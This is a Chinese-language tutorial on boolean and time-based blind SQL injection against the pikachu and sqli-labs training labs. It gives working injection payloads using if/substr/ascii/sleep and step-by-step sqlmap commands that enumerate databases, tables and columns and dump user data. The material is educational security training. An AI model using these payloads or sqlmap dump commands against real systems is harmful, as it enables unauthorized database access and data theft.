1. 程式人生 > 其它 >SQL注入——盲注

SQL注入——盲注

前言 在某些情況下後臺會使用錯誤訊息遮蔽來遮蔽報錯,同時無法根據報錯資訊來進行判斷,在這時我們需要用到盲注。而盲注分為兩種,一種為布林盲注,一種為時間盲注 使用盲注需要用到的三個函式 1.if函式 定義 if函式根據條件的結果為true或false,返回第一個值,或第二個值 語法 if(condition, value_if_true, value_if_false) #根據條件進行判斷,如果條件為真,輸出第二個引數,如果為假,輸出第三個引數 例子 eg1:select if(500<1000, 5, 10);#輸出5 eg:select if(strcmp("hello","bye") = 0, "YES", "NO");#
#strcmp函式:比較兩個字串,如果這兩個字串相等返回0,如果第一個引數是根據當前的排序小於第二個引數順序返回-1,否則返回1 eg1:select strcmp("yes","yes");#輸出0 eg2:select strcmp("and","more");#輸出-1 eg3:select strcmp("more","and");#輸出1 2.substr函式 常用方式 ① substr(str,pos):擷取字串str,從pos開始的位置,一直擷取到最後 ② substr (str, pos, len):擷取字串str,從pos位置開始,擷取位數為len 引數說明 str為列名/字串
pos為起始位置;mysql中的起始位置pos是從1開始的;如果為正數,就表示從正數的位置往下擷取字串(起始座標從1開始),反之如果起始位置pos為負數,那麼表示就從倒數第幾個開始擷取,擷取到最後; len為擷取字元個數/長度 3.ascii函式 定義 返回字串str最左面字元的ASCII程式碼值,如果str是空字串,返回0,如果str是 NULL,返回NULL 語法 ascii(str) 布林盲注 原理 盲注的原因在於之前的方式都是有回顯的,可以用order by語句找到回顯位,但是在這裡是無法獲取回顯位的,所以在這裡使得and前後兩個語句形成邏輯上的1,來進行正確的回顯,否則則為0不回顯 輸入的是正確的就返回正確的頁面,輸入錯誤的就返回錯誤的頁面,既沒有聯合注入的報錯位,也不能使用報錯函式,然後去用sqlmap去跑,如果跑不出來就考慮是否有防火牆,就嘗試去繞過防火牆 具體操作
1.手動輸入——以pikachu資料庫為例 首先我們已經註冊了一個username為root,我們輸入root會顯示出我們的資訊 為了方便演示,我們已經知道該資料庫的第一個字母為"p",所以我們進行以下操作 root' and if(ascii(substr(database(),1,1))=112,1,0) # #擷取資料庫的第一個字母,步長為1,如果它的ascii碼為112(字元'p'的ascii碼為112),則返回1,否則返回0 如果這裡的ascii碼正確,那麼就正常回顯 如果不正確,則回顯失敗 由於盲注,得到資料庫的第一個英文用手去輸入ascii慢慢試很麻煩,所以在這裡我們和之前一樣使用burpsuite對ascii值進行爆破 2.使用BurpSuite——以pikachu資料庫為例 抓包,將其送入Intruder,將1修改成2使其對資料庫的第二個字母進行爆破,同時設定爆破位為ascii的值,也就是現在112的位置 將其設定為number,設定從100到120,步長為1 注入後發現為ascii=105的數length和其它不一樣,而ascii=105即為字母i,就是正確的回顯位 其他位數依次類推,但是我們發現還是十分麻煩,而且在實際使用中爆破的範圍遠比現在演示的要大,時間會更長,所以為了更加方便,使用kali的一款自動化注入工具工具——sqlmap 3.sqlmap進行布林注入 #1.跑出當前資料庫 sqlmap -u [執行注入網址](GET) --current-db(當前資料庫) --batch(預設選擇是) --threads10 (使用10執行緒去注入,最高為10) --level 5 (注入程度,最高為5)--technique B(如果不設定型別則全部嘗試一遍) #2.跑出當前資料 sqlmap -u [執行注入網址] -D [選擇注入的資料庫名] --tables(想要注入它的資料表) --batch--threads 10 --level 5 --technique B #3.跑出資料列 sqlmap -u [執行注入網址] -D [選擇注入的資料庫名] -T [選擇注入的資料表名] --columns(想要注入它的資料列) --batch --threads 10 --level 5 --technique B #4.進行資料榨取 sqlmap -u [執行注入網址] -D [選擇注入的資料庫名] -T [選擇注入的資料表名] -C [選擇想要注入的資料列名](可多選,逗號分隔) --dump(進行資料榨取) --threads 10 --level 5 --technique B 4.以sqli-labs/Less-8為例使用sqlmap 1.跑出當前資料庫 sqlmap -u "http://192.168.223.132/sqli-labs/Less-8/?id=8" --current-db --technique B --batch --threads 10 --level 3 2.跑出當前資料表 sqlmap -u "http://192.168.223.132/sqli-labs/Less-8/?id=8" -D security --tables --batch --threads 10 --level 3 --technique B 3.跑出users資料表的資料列 sqlmap -u "http://192.168.223.132/sqli-labs/Less-8/?id=8" -D security -T users --columns --batch --threads 10 --level 3 --technique B 4.對users表中username資料列進行資料榨取 sqlmap -u "http://192.168.223.132/sqli-labs/Less-8/?id=8" -D security -T users -C usename --dump --batch --threads 10 --level 3 --technique B 時間盲注 原理 無論輸入什麼,回顯結果只有一種,但是我們要判斷是否真的回顯了 具體操作——以pikachu為例 1.輸入正確和錯誤兩種資料,發現回顯都是一樣的 2.對是否回顯進行判斷 root' and sleep(100) # # sleep(100) 使網頁休眠100秒後重新整理 我們發現網頁確實休眠後才重新整理,說明我們的命令是正確執行的,以此我們依照布林注入的思路進行時間注入 3.進行時間注入 判斷資料庫第一個字母是否ascii碼為112,如果正確則執行睡眠操作,否則返回0 root' and if(ascii(substr(database(),1,1))=112,sleep(5),0) # root' and if(ascii(substr(database(),1,1))='p',sleep(5),0) # 我們發現確實執行了sleep操作,所以我們可以利用sleep函式進行判斷:如果資料正確則執行sleep指令後才回顯,否則立即回顯 以sqli-labs/Less-9為例使用sqlmap 1.判斷是否為時間盲注 我們不管輸入正確還是錯誤的引數,都發現沒有明確的回顯,但輸入睡眠時間後發現確實執行了,於是我們判斷它為時間注入 2.使用sqlmap進行時間注入 這裡用sqlmap時具體操作和布林注入基本一致,只需要修改technique B改成technique T即可 #1.跑出當前資料庫 sqlmap -u [執行注入網址](GET) --current-db(當前資料庫) --batch(預設選擇是) --threads 10 (使用10執行緒去注入) --level 5 (注入程度,最高為5)--technique T #2.跑出當前資料表 sqlmap -u [執行注入網址] -D [選擇注入的資料庫名] --tables(想要注入它的資料表) --batch --threads 10 --level 5 --technique T #3.跑出資料列 sqlmap -u [執行注入網址] -D [選擇注入的資料庫名] -T [選擇注入的資料表名] --columns(想要注入它的資料列) --batch --threads 10 --level 5 --technique T #4.進行資料榨取 sqlmap -u [執行注入網址] -D [選擇注入的資料庫名] -T [選擇注入的資料表名] -C [選擇想要注入的資料列名](可多選,逗號分隔) --dump(進行資料榨取) --threads 10 --level 5 --technique T